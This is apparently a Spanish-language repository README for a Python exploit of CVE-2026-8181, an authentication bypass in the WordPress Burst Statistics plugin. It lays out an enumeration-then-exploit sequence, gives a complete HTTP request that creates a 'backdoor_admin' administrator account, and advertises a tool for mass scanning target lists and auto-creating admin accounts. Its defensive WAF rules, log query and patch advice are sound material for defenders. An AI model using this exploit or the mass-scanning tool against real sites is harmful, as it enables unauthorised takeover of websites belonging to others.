
PoC en Python para CVE-2026-8181, una omisión crítica de autenticación en el plugin Burst Statistics de WordPress. Incluye automatización de exploits, escaneo masivo y creación de cuentas de administrador para pruebas de seguridad autorizadas.
[!CAUTION] ALERTA CRÍTICA: Esta vulnerabilidad permite a un atacante remoto no autenticado eludir la autenticación y obtener privilegios completos de Administrador en el sitio WordPress objetivo simplemente inyectando una cabecera HTTP personalizada. Este CVE está siendo explotado activamente en la naturaleza.
CVE-2026-8181 es una vulnerabilidad crítica de bypass de autenticación que afecta al plugin Burst Statistics de WordPress (versiones 3.4.0 hasta 3.4.1.1). El fallo reside en la integración del proxy MainWP del plugin. Debido a una validación incorrecta de las contraseñas de aplicación durante el hook temprano plugins_loaded, el plugin concede incorrectamente contexto administrativo a las solicitudes a la API REST que incluyen la cabecera X-BurstMainWP: 1, incluso si la solicitud carece de credenciales válidas.
Esto transforma una simple solicitud HTTP no autenticada en una toma de control administrativa completa, evitando todos los mecanismos de autenticación estándar de WordPress.
Para entender cómo una cabecera simple otorga las llaves del reino, debemos analizar la lógica PHP dentro del manejador de autenticación del plugin.
La vulnerabilidad se deriva de una rama condicional mal gestionada en includes/Frontend/class-mainwp-proxy.php dentro del método is_mainwp_authenticated().
init() en plugins_loaded con prioridad 9. Esto es demasiado pronto en el ciclo de vida de WordPress.X-BurstMainWP: 1, has_admin_access() delega la autenticación a is_mainwp_authenticated().Authorization y reenvía las credenciales a wp_authenticate_application_password() del núcleo de WordPress.application_password_is_api_request a true (debido a la ejecución temprana del hook), la función del núcleo devuelve null en lugar de un objeto WP_Error.is_wp_error( $user ). Dado que null no es un WP_Error, la comprobación se supera.wp_set_current_user() usando el nombre de usuario proporcionado por el atacante, elevando instantáneamente la solicitud a contexto completo de administrador.// Representación simplificada del código vulnerable en Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Maneja correctamente fallos de autenticación explícitos
}
// 🚨 EL DEFECTO FATAL 🚨
// Si no se proporciona una contraseña de aplicación o la solicitud API aún no está marcada,
// wp_authenticate_application_password devuelve NULL.
// ¡El código no comprueba NULL!
if ( $user === null ) {
// En lugar de fallar de forma segura, cae en esta rama insegura:
$admin_user = get_user_by( 'login', $usuario_proporcionado_por_atacante );
wp_set_current_user( $admin_user->ID ); // ¡BUM!: ¡Contexto de administrador concedido!
return true;
}
Esta sección es para Red Teamers y Probadores de Penetración Autorizados.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users. Si está bloqueado, usar el truco del archivo de autor: /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(nombre_admin:contraseña_falsa)>null y promueve la solicitud al contexto de Administrador. El nuevo usuario administrador es creado.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] Advertencia Ambiental: Este exploit requiere que la cabecera
Authorizationllegue a PHP.
- Nginx / LiteSpeed / Apache con Permalinks Bonitos: La cabecera se reenvía. El exploit TIENE ÉXITO.
- Apache con Permalinks Planos (Predeterminado): La cabecera es eliminada silenciosamente por el servidor web. El exploit FALLA.
Esta sección es para Blue Teamers, Analistas de SOC y Administradores de Sistemas.
Bloquear o monitorizar la cabecera específica en el borde.
Regla ModSecurity / OWASP CRS:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Intento de Bypass de Autenticación en Burst Statistics', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Regla Personalizada de Cloudflare WAF:
(http.request.headers["X-BurstMainWP"] eq "1")
Buscar en los logs del servidor web la presencia de la cabecera combinada con la creación de usuarios de la API REST.
Consulta Splunk / ELK:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
Si se sospecha de una brecha, buscar estos artefactos post-explotación:
wp_users en busca de usuarios creados a través de la API REST con el rol administrator.wp-content/plugins/ en busca de subidas no autorizadas (a menudo webshells disfrazadas de plugins legítimos).wp-content/themes/ o archivos del núcleo.[!IMPORTANT] Acción Inmediata Requerida: Si se ejecuta una versión vulnerable, aplicar una de las siguientes mitigaciones de inmediato.
| Prioridad | Acción | Detalles |
|---|---|---|
| P0 | Parchear el Plugin | Actualizar Burst Statistics a la versión 3.4.2 o superior inmediatamente a través del panel de WordPress. |
| P1 | Parche Virtual WAF | Si no se puede parchear inmediatamente, implementar las reglas WAF (arriba) para bloquear la cabecera X-BurstMainWP. |
| P2 | Restringir Enumeración de Usuarios | Usar un plugin de seguridad o reglas .htaccess para bloquear el acceso público a /wp-json/wp/v2/users y /?author=*. |
| P3 | Auditar Usuarios y Archivos | Ejecutar un script para auditar cuentas de administrador creadas recientemente y revocar cualquier acceso no autorizado. Escanear en busca de webshells. |
Este repositorio incluye CVE-2026-8181.py, una herramienta de automatización en Python para verificar la vulnerabilidad en entornos de laboratorio autorizados.
| Característica | Descripción |
|---|---|
| 🎯 Objetivo Único | Escanear un sitio específico usando la bandera -u. |
| 📦 Operaciones Masivas | Alimentar una lista de objetivos mediante -f targets.txt (soporta # para comentarios). |
| ⚡ Concurrencia | Acelerar escaneos masivos con workers en hilos (-j N). |
| 💾 Salida Inteligente | -o file.txt para un informe combinado. En modo masivo, solo se registran los exploits exitosos. |
| 📂 Volcados por Host | Usar --output-dir para guardar archivos .txt individuales para cada host comprometido. |
| 👤 Creación de Admin | Pasar --create-user para aprovisionar automáticamente una nueva cuenta de administrador a través de la API REST. |
| 🔓 TLS de Laboratorio | Usar -k para ignorar errores de certificado SSL (estrictamente para entornos de laboratorio locales/de confianza). |
# 1. Instalar dependencias
pip3 install requests urllib3
# 2. Reconocimiento de Sitio Único y Aprovisionamiento Automático de Nuevo Admin
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k
# 3. Escaneo Masivo con Archivo de Éxitos Combinado
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k
# 4. Escaneo Masivo con Informes Individuales por Host
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
[!WARNING] SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.
La información proporcionada en este repositorio es para fines educativos, investigación de seguridad y pruebas de penetración autorizadas. Explotar vulnerabilidades contra sistemas sin permiso explícito y por escrito del propietario del sistema es ilegal y viola las leyes cibernéticas internacionales.
Los autores y colaboradores de este repositorio no asumen ninguna responsabilidad y no son responsables de ningún uso indebido, daño o consecuencia legal derivada del uso de esta herramienta o información. Siempre piratea de manera responsable y ética.